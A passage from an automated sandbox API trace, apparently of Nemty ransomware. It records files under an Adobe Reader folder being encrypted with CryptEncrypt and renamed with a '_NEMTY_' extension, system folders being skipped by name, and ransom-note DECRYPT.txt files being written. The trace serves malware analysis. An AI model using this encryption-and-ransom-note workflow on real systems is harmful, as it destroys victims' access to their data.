HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.064] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.064] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0173.064] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0173.065] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0173.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0173.065] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="+ct42AgE+Zlq0u1bb4lLF/dJKDd0BVWcXWKgimPpLCFKSlkf+/bTTf56eejNj6cw\r\nKWyGeuanwzNNTY4VvPFC9nAwUgDp2FSGo+bXc+k8TIMsaTZ4zhSXKXv5EcoywiWm\r\ndo0TcdjjDGfcOqJiu/IqwxdUfNxh9dqmj+KLSSuBIMessL6N66QOqaBYH8mW1cB7\r\nYaSMj5S+h9/x+F3YkaCv9IJEJG/2cSt5j7E/8A6Z+nQms9lprIFx4PYduU9UcdOh\r\nPG9FjNXl8vudbk0jlI/0Yq03V6fhmg85HoX37aWGCM5x9jcLhqZ36c67Ekvjde6W\r\nyHH1uURXVnp8PSC9melsdA==\r\n", pcchString=0x653e5dc) returned 1 [0173.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0173.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.065] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0173.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0173.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0173.065] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\pol\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0173.065] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=61600) returned 1 [0173.065] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0a0) returned 0x6352c48 [0173.065] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.065] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xf0a0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xf0a0, lpOverlapped=0x0) returned 1 [0173.071] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.071] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xf0a0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xf0a0, lpOverlapped=0x0) returned 1 [0173.071] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0173.071] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=61600, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf0a0 [0173.071] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0173.071] CloseHandle (hObject=0x3b0) returned 1 [0173.071] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0173.071] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.072] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.072] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.072] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.072] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0173.072] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0173.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0173.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.072] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\pol\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\pol\\license.html._nemty_kgobjgd_")) returned 1 [0173.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0173.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0173.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0173.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0173.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0173.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0173.072] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ac85830, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1ac85830, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ac85830, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0173.072] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0173.073] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0173.073] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0173.073] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0173.073] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0173.073] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0173.073] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0173.073] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0173.073] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0173.073] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0173.073] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0173.073] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0173.073] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0173.073] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0173.073] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0173.073] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0173.073] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0173.073] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0173.073] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0173.073] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0173.073] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0173.073] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.073] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.073] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.073] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.073] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.073] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0173.073] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.073] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.073] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.073] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.073] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0173.073] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.073] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.074] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.074] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.074] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.074] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0173.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0173.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.074] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ac85830, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1ac85830, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ac85830, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0173.074] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0173.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0173.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0173.074] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="PTB", cAlternateFileName="")) returned 1 [0173.074] lstrcmpiW (lpString1="PTB", lpString2=".") returned 1 [0173.074] lstrcmpiW (lpString1="PTB", lpString2="..") returned 1 [0173.074] lstrcmpiW (lpString1="PTB", lpString2="...") returned 1 [0173.074] lstrcmpiW (lpString1="PTB", lpString2="windows") returned -1 [0173.074] lstrcmpiW (lpString1="PTB", lpString2="$RECYCLE.BIN") returned 1 [0173.074] lstrcmpiW (lpString1="PTB", lpString2="rsa") returned -1 [0173.074] lstrcmpiW (lpString1="PTB", lpString2="NTDETECT.COM") returned 1 [0173.074] lstrcmpiW (lpString1="PTB", lpString2="ntldr") returned 1 [0173.074] lstrcmpiW (lpString1="PTB", lpString2="MSDOS.SYS") returned 1 [0173.074] lstrcmpiW (lpString1="PTB", lpString2="IO.SYS") returned 1 [0173.074] lstrcmpiW (lpString1="PTB", lpString2="boot.ini") returned 1 [0173.074] lstrcmpiW (lpString1="PTB", lpString2="boot.ini") returned 1 [0173.075] lstrcmpiW (lpString1="PTB", lpString2="AUTOEXEC.BAT") returned 1 [0173.075] lstrcmpiW (lpString1="PTB", lpString2="ntuser.dat") returned 1 [0173.075] lstrcmpiW (lpString1="PTB", lpString2="desktop.ini") returned 1 [0173.075] lstrcmpiW (lpString1="PTB", lpString2="CONFIG.SYS") returned 1 [0173.075] lstrcmpiW (lpString1="PTB", lpString2="RECYCLER") returned -1 [0173.075] lstrcmpiW (lpString1="PTB", lpString2="BOOTSECT.BAK") returned 1 [0173.075] lstrcmpiW (lpString1="PTB", lpString2="bootmgr") returned 1 [0173.075] lstrcmpiW (lpString1="PTB", lpString2="programdata") returned 1 [0173.075] lstrcmpiW (lpString1="PTB", lpString2="appdata") returned 1 [0173.075] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PTB", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.075] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PTB", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PTB", lpUsedDefaultChar=0x0) returned 3 [0173.075] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PTB", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.075] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PTB", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PTB", lpUsedDefaultChar=0x0) returned 3 [0173.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0173.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0173.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0173.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0173.075] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.075] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0173.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0173.075] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0173.075] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ptb\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0173.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0173.076] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.076] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0173.077] CloseHandle (hObject=0x254) returned 1 [0173.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0173.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0173.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0173.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0173.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0173.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0173.077] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.077] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0173.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.078] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0173.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.078] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ptb\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0173.078] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.078] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.078] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0173.079] CloseHandle (hObject=0x254) returned 1 [0173.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0173.079] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.079] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0173.079] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1acd1af0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1acd1af0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0173.080] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0173.080] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1acd1af0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1acd1af0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0173.080] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0173.080] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0173.080] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, 